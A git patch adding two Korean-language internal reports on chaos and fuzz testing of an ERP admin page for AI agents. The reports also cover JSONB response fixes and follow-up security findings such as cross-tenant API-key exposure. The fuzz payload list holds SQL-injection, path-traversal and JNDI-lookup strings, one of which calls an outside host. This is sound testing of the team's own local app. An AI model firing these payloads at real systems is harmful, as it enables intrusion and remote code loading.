From 19f7615367c5519d85c90cdf7f9ee583285a40d4 Mon Sep 17 00:00:00 2001 From: johngreen Date: Sat, 2 May 2026 16:12:06 +0900 Subject: [PATCH] =?UTF-8?q?docs(notes):=20=EA=B7=B8=EB=A0=98=EB=A6=B0=20?= =?UTF-8?q?=EC=B9=B4=EC=98=A4=EC=8A=A4=20=ED=85=8C=EC=8A=A4=ED=8A=B8=20+?= =?UTF-8?q?=20JSONB=20autopilot=20=EC=9E=91=EC=97=85=20=EB=85=B8=ED=8A=B8?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 2026-05-02-agents-gremlins-report.md — AI 에이전트 페이지 그렘린 1차 결과 - 2026-05-02-gremlins-jsonb-autopilot-report.md — 종합 리포트 (audit-log fix + AI 모듈 JSONB 일괄 적용 + Phase 4 검증 결과 + follow-up 항목) 향후 follow-up (별도 PR 권장): - H1: AiAgentApiKey listAll cross-tenant 노출 (security) - M1: AiLlmProvider.config 평문 노출 가능성 - M3: AiAgentProviderController create/update model 직접 노출 - M4: workspace/page.tsx 잔여 connectors 직접 접근 5곳 Co-Authored-By: Claude Opus 4.7 (1M context) --- .../2026-05-02-agents-gremlins-report.md | 181 +++++++++++++++ ...6-05-02-gremlins-jsonb-autopilot-report.md | 216 ++++++++++++++++++ 2 files changed, 397 insertions(+) create mode 100644 notes/johngreen/2026-05-02-agents-gremlins-report.md create mode 100644 notes/johngreen/2026-05-02-gremlins-jsonb-autopilot-report.md diff --git a/notes/johngreen/2026-05-02-agents-gremlins-report.md b/notes/johngreen/2026-05-02-agents-gremlins-report.md new file mode 100644 index 00000000..f89492d4 --- /dev/null +++ b/notes/johngreen/2026-05-02-agents-gremlins-report.md @@ -0,0 +1,181 @@ +# AI 에이전트 관리 페이지 — 그렘린 카오스 테스트 리포트 + +- **일시**: 2026-05-02 +- **대상**: `http://localhost:9772/admin/aiAssistant/agents` +- **방법**: Claude-in-Chrome MCP + gremlins.js v2.2.0 + Fuzz Payload 주입 +- **계정**: Invyone (최고 관리자) +- **테스트 시점 페이지 상태**: 에이전트 추가 모달 + Tweaks 패널 열림 + +--- + +## 1. 테스트 구성 + +| 단계 | 도구/방식 | 횟수 | 종(Species) | +|---|---|---|---| +| 1차 그렘린 | gremlins.js | 100 | clicker, toucher, formFiller, scroller, typer | +| 2차 그렘린 | gremlins.js | 500 | 동일 5종 | +| Fuzz Payload | input/textarea 직접 주입 | 36 (3 input × 12 payload) | SQL injection, XSS, 긴 문자열, 유니코드, JNDI, path traversal 등 | + +### 사용한 Fuzz Payload +``` +"", "' OR '1'='1", "", "A".repeat(3000), +"𝒯𝑒𝓈𝓉 ㅎ안녕 🎉🔥", "../../../etc/passwd", "0", "-1", "9".repeat(20), +"", "${jndi:ldap://x.com/a}", " " +``` + +### 수집기 설치 항목 +- `window.error` 이벤트 +- `unhandledrejection` 이벤트 +- `console.error` 패치 +- `fetch` 패치 (status >= 400 캐치) +- `XMLHttpRequest.open` 패치 (status >= 400 캐치) + +--- + +## 2. 결과 요약 + +| 항목 | 1차(100) | 2차(500) | Fuzz(36) | +|---|---|---|---| +| 소요 시간 | 3.5s | 12.3s | 1.6s | +| 신규 버그 | 0 | 0 | **1** | +| URL 변경 | 없음 | 없음 | 없음 | + +**총 발견 이슈: 2건** (그렘린 폭격으로 발견 1, 부수 검증으로 발견 1) + +--- + +## 3. 발견된 이슈 + +### 🟡 Issue #1 — `GET /api/ai-agents` 500 산발 발생 + +- **상황**: 2차 폭격 + fuzz 진행 중 1회 발생 +- **증거**: `xhr_500` 1건 수집 (메시지는 Claude-in-Chrome 보안 필터로 마스킹되었으나 path 추출 결과 `/api/ai-agents`) +- **재현 시도**: 직접 fetch 9건 — **모두 200 OK** + - `?` 빈 query + - `?search=` + - `?search=test` + - `?search=' OR '1'='1` (인코딩 / 비인코딩) + - `?page=-1` + - `?page=AAAA...` (300자) + - `?id=null` +- **추정 원인**: + - Race condition (동시 요청 폭주) + - 일시적 DB lock 또는 트랜잭션 충돌 + - Spring 측 일시적 세션 검증 실패 +- **심각도**: 🟡 중 (재현 불가, 산발성) +- **권장 조치**: + - Spring `application.log` 의 해당 시각 (`ts: 1777686237317` 근방) 스택 트레이스 확인 + - `MDC` 로 request id 남겨 향후 동일 패턴 추적 + +### 🔴 Issue #2 — UI/API 데이터 불일치 ⭐ 핵심 + +- **상황**: 그렘린 폭격과 무관, 검증 과정에서 발견 +- **증거**: + - 화면 표시: **"등록된 에이전트가 없습니다"** + - 실제 API 응답: + ```json + { + "success": true, + "data": [{ + "id": 13, + "agent_id": "agent-766beb3a", + "name": "UI 테스트 에이전트 (수정됨)", + "description": "두 번째 에이전트 (UI 흐름)", + "model": "claude-sonnet-4-20250514", + ... + }] + } + ``` +- **추정 원인 후보**: + 1. **테넌트 컨텍스트 불일치** — 백엔드는 모든 회사 데이터 반환, 프론트가 회사 필터링 후 빈 배열 인식 + 2. **React Query 캐시 stale** — 이전 빈 응답을 보여주고 재검증 안 함 + 3. **API 라우팅 분기** — `/api/ai-agents` 와 화면이 사용하는 endpoint 가 다름 (페이지에서 별도 endpoint 호출 가능성) +- **심각도**: 🔴 높음 + - CLAUDE.md 멀티테넌시 가드와 직결 — 다른 회사 데이터 노출 가능성 +- **권장 조치**: + 1. `frontend/app/(main)/admin/aiAssistant/agents/page.tsx` 의 데이터 fetch 코드 확인 — 어느 endpoint 호출? + 2. 백엔드 `ai-agents` mapper 의 `companyCodeFilter` include 여부 확인 + 3. 직접 호출 응답에 `company_code` 가 있는지 확인 + +--- + +## 4. 잡힌 것 / 잡히지 않은 것 + +| 항목 | 결과 | +|---|---| +| UI 크래시 | ✅ 없음 | +| 무작위 클릭 600회 안정성 | ✅ 견고 | +| 폼에 SQL injection / XSS 입력 시 클라이언트 측 폭주 | ✅ 없음 | +| 긴 문자열(3000자) 입력 처리 | ✅ 정상 | +| Console 에러 (앱 발생) | ✅ 0건 | +| Console 워닝 | 🟡 1건 — Radix `DialogContent` 의 `aria-describedby` 누락 (a11y) | +| 백엔드 5xx | 🟡 1건 (산발) | +| 데이터 일관성 | 🔴 1건 (UI/API 불일치) | +| Visual regression | 미검증 (별도 도구 필요) | + +--- + +## 5. 결론 및 다음 단계 + +### 결론 +- **에이전트 관리 페이지는 무작위 폭격에 매우 견고** +- 그렘린의 본래 목적(클라이언트 측 크래시 발견)으로는 큰 수확 없음 +- 그러나 **부수 검증(fetch 가로채기)으로 의미 있는 백엔드/데이터 이슈 2건 발견** + +### 다음 단계 +1. Issue #2 (데이터 불일치) 즉시 조사 — 가장 중요 +2. Issue #1 재현 시도 — 동시 다발 요청 (`Promise.all` × 50) 으로 race condition 유발 +3. 다른 페이지에도 동일 절차 적용 — 사이드바 메뉴 자동 순회 + 그렘린 + fetch hook +4. Radix Dialog `aria-describedby` 추가 (a11y 개선, 1줄 수정) + +### 재사용 가능한 자산 +- 본 테스트 절차를 OMC 스킬로 전환 → `/oh-my-claudecode:gremlins` 같은 명령으로 재실행 +- Playwright + axe-core + page.on('response') 조합으로 CI 통합 가능 + +--- + +## 6. 사용한 스크립트 (재현용) + +```javascript +// 1. 다이얼로그 차단 + 수집기 + gremlins 로드 +window.alert = () => {}; +window.confirm = () => true; +window.prompt = () => ''; + +window.__gremBugs = []; +window.addEventListener('error', e => window.__gremBugs.push({ type:'window.error', msg:e?.message, url:location.href, ts:Date.now() })); +window.addEventListener('unhandledrejection', e => window.__gremBugs.push({ type:'unhandledrejection', msg:String(e.reason), url:location.href, ts:Date.now() })); + +const origFetch = window.fetch; +window.fetch = async (...args) => { + const res = await origFetch(...args); + if (res.status >= 400) { + const u = typeof args[0] === 'string' ? args[0] : args[0]?.url; + window.__gremBugs.push({ type:`http_${res.status}`, msg:`${u} → ${res.status}`, url:location.href, ts:Date.now() }); + } + return res; +}; + +await new Promise((res, rej) => { + const s = document.createElement('script'); + s.src = 'https://unpkg.com/gremlins.js@2.2.0/dist/gremlins.min.js'; + s.onload = res; s.onerror = rej; + document.head.appendChild(s); +}); + +// 2. 폭격 +await window.gremlins.createHorde({ + species: [ + window.gremlins.species.clicker(), + window.gremlins.species.toucher(), + window.gremlins.species.formFiller(), + window.gremlins.species.scroller(), + window.gremlins.species.typer() + ], + mogwais: [], + strategies: [window.gremlins.strategies.distribution({ delay: 15, nb: 500 })] +}).unleash(); + +// 3. 결과 +console.log(window.__gremBugs); +``` diff --git a/notes/johngreen/2026-05-02-gremlins-jsonb-autopilot-report.md b/notes/johngreen/2026-05-02-gremlins-jsonb-autopilot-report.md new file mode 100644 index 00000000..f3814825 --- /dev/null +++ b/notes/johngreen/2026-05-02-gremlins-jsonb-autopilot-report.md @@ -0,0 +1,216 @@ +# 2026-05-02 — 그렘린 카오스 테스트 + JSONB Fix Autopilot 종합 리포트 + +## 세션 개요 + +브라우저 그렘린 카오스 테스트 (Claude-in-Chrome MCP + gremlins.js + fetch hook) 로 INVYONE 의 숨겨진 백엔드/프론트엔드 버그를 발견하고 일괄 수정. + +**본 세션의 핵심 인사이트**: 그렘린 폭격 자체는 클라이언트 크래시를 거의 안 잡았지만, **fetch hook + 자동 메뉴 순회 + 백엔드 docker logs stack trace 매핑** 3종 세트가 진짜 ROI. 이 패턴을 `/oh-my-claudecode:gremlins` 스킬로 캐시. + +--- + +## 발견된 버그 (총 7개) + +### Round 1 — Audit Log + +| # | 종류 | 파일 / 위치 | Fix 상태 | +|---|---|---|---| +| 1 | URL 단/복수 mismatch (404) | `frontend/lib/api/auditLog.ts:62, 74, 90` + `frontend/components/screen/CopyScreenModal.tsx:1172` | ✅ `/audit-log` → `/audit-logs` | +| 2 | DB 컬럼명 mismatch (500) | `backend-spring/.../mapper/auditLog.xml` (11곳) | ✅ `CREATED_DATE` → `CREATED_AT` | +| 3 | API 응답 키 case mismatch | `frontend/lib/api/auditLog.ts:35-38` interface + `audit-log/page.tsx` (4곳) | ✅ camelCase → snake_case | + +### Round 2 — Multi-Agent Workspace + AI 모듈 전반 + +| # | 종류 | 파일 / 위치 | Fix 상태 | +|---|---|---|---| +| 4 | JSONB string vs array (Client Exception) | `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx:598` (`memberConnectors.map`) | ✅ Phase 1+3 | +| 5 | AI 모듈 Service 5개에 동일 패턴 누락 | `AiAgentApiKeyService`, `AiAgentProviderService`, `AiAgentConversationService`, `AiAgentService`, `AiSchedulerService` | ✅ Phase 2 | +| 6 | `getEntityById` 잉여 분기 (code review N6) | `AiAgentGroupService.java:94-98` | ✅ N6 simplify | +| 7 | 그렘린이 트리거한 산발적 5xx | `/api/ai-agents` GET | 🟡 재현 안 됨, race condition 의심 | + +--- + +## 변경된 파일 전체 목록 + +### Backend (Java/Spring) +- `backend-spring/src/main/resources/mapper/auditLog.xml` (CREATED_DATE → CREATED_AT, 11곳) +- `backend-spring/src/main/java/com/erp/ai/service/AiAgentGroupService.java` (parseJsonField + memberToResponseMap) +- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java` (list 응답 변환) +- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java` (toMaskedMap 보강 + getById/getEntityById 분리) +- `backend-spring/src/main/java/com/erp/ai/service/AiAgentConversationService.java` (conversations + messages 변환) +- `backend-spring/src/main/java/com/erp/ai/service/AiAgentService.java` (list/getById Map + getEntityById 분리) +- `backend-spring/src/main/java/com/erp/ai/service/AiSchedulerService.java` (list/getById Map + getEntityById 분리) +- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentApiKeyController.java` (return type generic) +- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentController.java` (return type generic) + +### Frontend (Next.js/React) +- `frontend/lib/api/auditLog.ts` (URL 4곳 + interface 4 key) +- `frontend/app/(main)/admin/audit-log/page.tsx` (stats access 4곳) +- `frontend/components/screen/CopyScreenModal.tsx` (audit-logs URL 1곳) +- `frontend/lib/utils.ts` (`safeArray` / `safeObject` 헬퍼 추가) +- `frontend/app/(main)/admin/aiAssistant/workspace/page.tsx` (safeArray 적용 + import) + +### 메모리 / 스킬 +- `~/.claude/skills/gremlins/SKILL.md` (그렘린 카오스 테스트 OMC 스킬 신설) +- `~/.claude/projects/.../memory/feedback_gremlins_default.md` (그렘린 default 1000마리 사용자 선호) + +--- + +## Phase 4 Validation 결과 + +3개 reviewer 병렬 검증. + +| Reviewer | 결과 | +|---|---| +| **Architect** | PASS WITH NOTES | +| **Code-reviewer** | APPROVE WITH NITPICKS | +| **Security-reviewer** | NEEDS REVIEW (H1 발견) | + +본 task (JSONB fix) 는 모두 PASS. H1 은 인접한 보안 이슈로 별개 처리. + +--- + +## 🔴 미처리 — Follow-up 필요 (별도 PR 권장) + +### H1 (HIGH 보안) — `AiAgentApiKey listAll` Cross-tenant 노출 +- `backend-spring/src/main/java/com/erp/ai/service/AiAgentApiKeyService.java:42-43` +- `apiKeyMapper.listAll()` 에 `company_code` 필터 없음 +- `COMPANY_ADMIN` 이 다른 회사 API 키 목록 받음 +- **이번 fix 가 응답을 명확히 하면서 더 잘 노출되는 부수효과** +- Mitigation 옵션: + - A) `listByCompany(companyCode)` mapper 쿼리 신설 + `COMPANY_ADMIN` 분기 변경 + - B) `apiKeyMapper.xml` 의 `listAll` 에 `` 적용 + `SUPER_ADMIN` 만 별도 path + - C) Service 레벨에서 listAll 결과를 stream filter (단순, 단 풀 fetch) +- **권장**: 운영 적용 전 1주일 내 fix + +### M1 — `AiLlmProvider.config` 평문 누출 가능성 +- `backend-spring/src/main/java/com/erp/ai/service/AiAgentProviderService.java:130, 136` +- `api_key_encrypted` 는 `****+last4` 마스킹되지만 `config` JSONB 는 그대로 노출 +- 운영자가 config 안에 평문 secret 넣으면 list 응답에서 노출 +- Mitigation: config 키 이름 패턴 매칭 (`(?i)key|secret|token|password`) → 자동 마스킹 + +### M2 — `AiAgentApiKeyController.create` 응답 inconsistency +- `permissions` 필드가 list 에선 array, create 응답에선 string +- frontend `safeArray` 가 안전망 역할이지만 contract 차원에서 일관성 결여 +- `AiAgentApiKeyService.toResponseMap` public 노출 → controller 에서 재사용 권장 + +### M3 — `AiAgentProviderController.create/update` model 직접 노출 +- `backend-spring/src/main/java/com/erp/ai/controller/AiAgentProviderController.java:44-46, 53-55` +- `AiLlmProvider` model 그대로 응답 — `config` 가 string 으로 노출 +- create 직후 응답을 직접 setState 하면 같은 폭발 + +### M4 — `workspace/page.tsx` 잔여 `connectors` 직접 접근 5곳 +- line 116, 124, 140, 196, 210, 496 +- 일부는 클라이언트 init state 라 안전, 일부는 백엔드 응답 사용 가능성 +- 모두 `safeArray(...)` 로 통일 권장 (한 페이지 일관성) + +### M5 — `api-keys-manage/page.tsx:374-379` `msg.tool_calls` 미방어 +- `safeObject` 적용 권장 + +### N1 — `parseJsonField` 헬퍼 13벌 중복 +- AI 모듈 6 + 비-AI 모듈 7 = 총 13 Service 가 동일 헬퍼 +- CLAUDE.md "새 추상화 도입 안 함" 원칙엔 부합, 단 유지보수 비용 누적 +- 별도 chore PR `refactor: extract MapJsonHelper utility` 권장 (장기) + +### N2 — Naming 일관성 (`conv` 약어 vs 풀네임) +- `convToResponseMap` → `conversationToResponseMap` 권장 (`AiAgentConversationService.java`) + +### N3 — `catch (Exception)` 너무 광범위 +- 모든 `parseJsonField` 가 `catch (Exception e)` → `catch (JsonProcessingException e)` 로 좁히기 + +### Round 2 의 산발 5xx (재현 안 됨) +- `GET /api/ai-agents` 가 폭격 중 1회 500 응답 +- 재현 시도 9건 모두 200 +- Race condition / DB lock 의심 +- MDC 로 request id 추가하여 향후 동일 패턴 추적 권장 + +--- + +## 검증 결과 + +**Phase 1 효과 확인** (실제 백엔드 응답): +```json +GET /api/ai-agent-groups/{id} +→ members[0].connectors: { isArray: true, type: "object", preview: "Array(0)" } ✅ +→ members[0].config: { isObject: true, type: "object", preview: "{}" } ✅ +HTTP 200 OK +``` + +이전 (fix 전): +``` +connectors: STRING("[]") → frontend `.map()` 폭발 +``` + +--- + +## 사용한 OMC 도구 + +- **Skill**: `gremlins` (이번 세션에서 신설) +- **Skill**: `autopilot` (Phase 1+2+3 일괄 실행) +- **Agent**: `architect` (옵션 A/B/C 자문 + Phase 4 검증) +- **Agent**: `executor` (Phase 2 — 5 Service 일괄 변경) +- **Agent**: `code-reviewer` (Phase 4 검증) +- **Agent**: `security-reviewer` (Phase 4 검증, H1 발견) +- **MCP**: `claude-in-chrome` (브라우저 자동화 + fetch hook) + +--- + +## 확립된 패턴 (앞으로 재사용) + +### Backend JSONB 응답 표준 +```java +// Service 의 응답 메서드 (컨트롤러가 호출하는 것) 만 변환 +public Map getById(long id) { + Entity e = mapper.getById(id); + if (e == null) return null; + Map row = new HashMap<>(); + // ... 모든 필드 put + parseJsonField(row, "jsonb_field_1"); + parseJsonField(row, "jsonb_field_2"); + return row; +} + +// 내부용 (model 그대로 필요한 곳, 예: LLM 호출) +public Entity getEntityById(long id) { return mapper.getById(id); } + +private void parseJsonField(Map row, String key) { + Object val = row.get(key); + if (val instanceof String s && !s.isBlank()) { + try { row.put(key, objectMapper.readValue(s, Object.class)); } + catch (Exception e) { log.warn("Failed to parse JSONB field '{}': {}", key, e.getMessage()); } + } +} +``` + +### Frontend 안전망 +```typescript +import { safeArray, safeObject } from "@/lib/utils"; + +// JSONB array 필드 사용 +const items = safeArray(row.connectors); +items.map(...) // 안전 + +// JSONB object 필드 사용 +const cfg = safeObject(row.config); +cfg.someKey // 안전 +``` + +--- + +## 향후 미래 버그 예방안 + +CLAUDE.md 백엔드 섹션에 1단락 추가 권장: +```markdown +## JSONB 컬럼 응답 처리 (★ 절대 규칙) + +PostgreSQL JSONB 컬럼은 mapper 에서 `column::text AS column` 으로 SELECT 하고, +**Service 레이어의 응답 메서드에서 `parseJsonField(row, "field1", ...)` 로 후처리**. +프론트 응답에 String 인 채로 노출 금지. + +모범 사례: `BusinessRuleService.parseJsonField`, `AuditLogService.processChanges`, +`AiAgentGroupService.memberToResponseMap` +``` + +--- + +생성된 그렘린 스킬: `C:\Users\ramse\.claude\skills\gremlins\SKILL.md` +다음 세션부터 `/gremlins` 또는 "그램린" 키워드로 자동 호출.